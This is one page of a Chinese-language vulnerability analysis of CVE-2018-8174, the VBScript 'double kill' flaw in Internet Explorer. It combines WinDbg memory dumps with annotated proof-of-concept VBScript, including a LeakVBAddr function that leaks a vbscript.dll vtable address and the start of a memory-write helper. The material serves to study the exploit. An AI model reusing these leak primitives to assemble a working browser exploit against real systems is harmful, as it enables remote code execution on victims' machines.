CVE-2018-8174双杀漏洞分析复现及防御
来源:岁月联盟
时间:2020-01-29
01cb7770 00000000 0000822f 00000006 00000000
01cb7780 00000000 00000003 45001e5b 0065006d
泄露指向字符串的指针,最后还有一句关键的代码:
//源码
Alert "InitObjects2"
spec_int_1=cla4_obj2.mem '这句将上面指向0000的那个字符串的指针泄露给了spec_int_1
IsEmpty(spec_int_1)
0:005> dd poi(esp+c)
0055fe68 00000003 00000000 003f9dd4 0c002e3a
0055fe78 00000000 00000000 02021598 00000000
0055fe88 024bd3d8 0055fea8 020217a0 00000000
0055fe98 024b0000 0055ffa8 00000000 00000000
0055fea8 024bd61c 0055ffa8 02021598 00000000
0055feb8 0000400c 00000000 02020fd0 00000000
0055fec8 0000400c 00000000 02020f80 00000000
0055fed8 0000400c 00000000 02020f3c 00000000
0:005> dd 003f9dd4
003f9dd4 00000000 00000000 00000000 00000000 //这个地址指向的就是00那个字符串,
003f9de4 00780000 00000074 003f93a4 4b92935b //由于windbg重新启动地址与上面不一致,但是从周围的元素可以观察出是一致的
003f9df4 8c000000 00000001 00000000 00000000
003f9e04 7fffffff 7fffffff 80000001 80000001
003f9e14 00000000 4b929326 88000000 00000000
003f9e24 006e0000 00740069 0062004f 0065006a
003f9e34 00740063 00000073 003f9e4c 4b92932d
003f9e44 88000000 00000018 006e0049 00740069
3.3.PoC 中的地址泄露
//此函数泄露 CScriptEntryPoint 对象的虚函数表地址,该地址属于Vbscript.dll。
Function LeakVBAddr
On Error Resume Next '忽略错误,执行下一条代码
Dim emptySub_addr_placeholder '构造一个类型为null 的 CScriptEntryPoint 对象
emptySub_addr_placeholder=EmptySub
emptySub_addr_placeholder=null
IsEmpty(emptySub_addr_placeholder) '此断点可以查看此 CScriptEntryPointObject 地址
SetMemValue emptySub_addr_placeholder '这种传参数不用括号也是可以的
LeakVBAddr=GetMemValue()
End Function
在LeakVBAddr函数中 IsEmpty 断下查看 emptySub_addr_placeholder 是什么;
0:005> dd poi(esp+c)0055fe58 00000001 000007ff 0055e030 cf0000cf //这个对象地址下一步会保存在指向空字符串+8的地方0055fe68 00000001 000007ff 0055e030 cf0000cf0055fe78 00000000 00000000 02021598 000000000055fe88 024bd3d8 0055fea8 020217a0 000000000:005> ln poi(0055e030) //发现它是一个CScriptEntryPoint对象,(6a5b4934) vbscript!CScriptEntryPoint::`vftable' | (6a5cab54) vbscript!CEntryPointDispatch::`vftable'Exact matches: vbscript!CScriptEntryPoint::`vftable` = no type information>
源码短短几句简单的代码会产生一个CScriptEntryPoint对象的原因为:
On Error Resume Next //首先它定义了忽略错误
Dim emptySub_addr_placeholder //定义一个变量
emptySub_addr_placeholder =EmptySub //将函数指针赋值给一个变量,VBS语法是不允许这样的
//但是其上面忽略了错误,最终这个函数指针的值仍然被赋值给了变量
emptySub_addr_placeholder=null //然后将该值的类型设置为null
//最终,变量里面仍然保存着一个函数指针,但是类型为null
进入SetMemValue函数: 要记住上面在InitObjects函数的最后spec_int_1中保存的就是那个0字符串的地址
//源码
Sub SetMemValue(ByRef Ili)
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] 下一页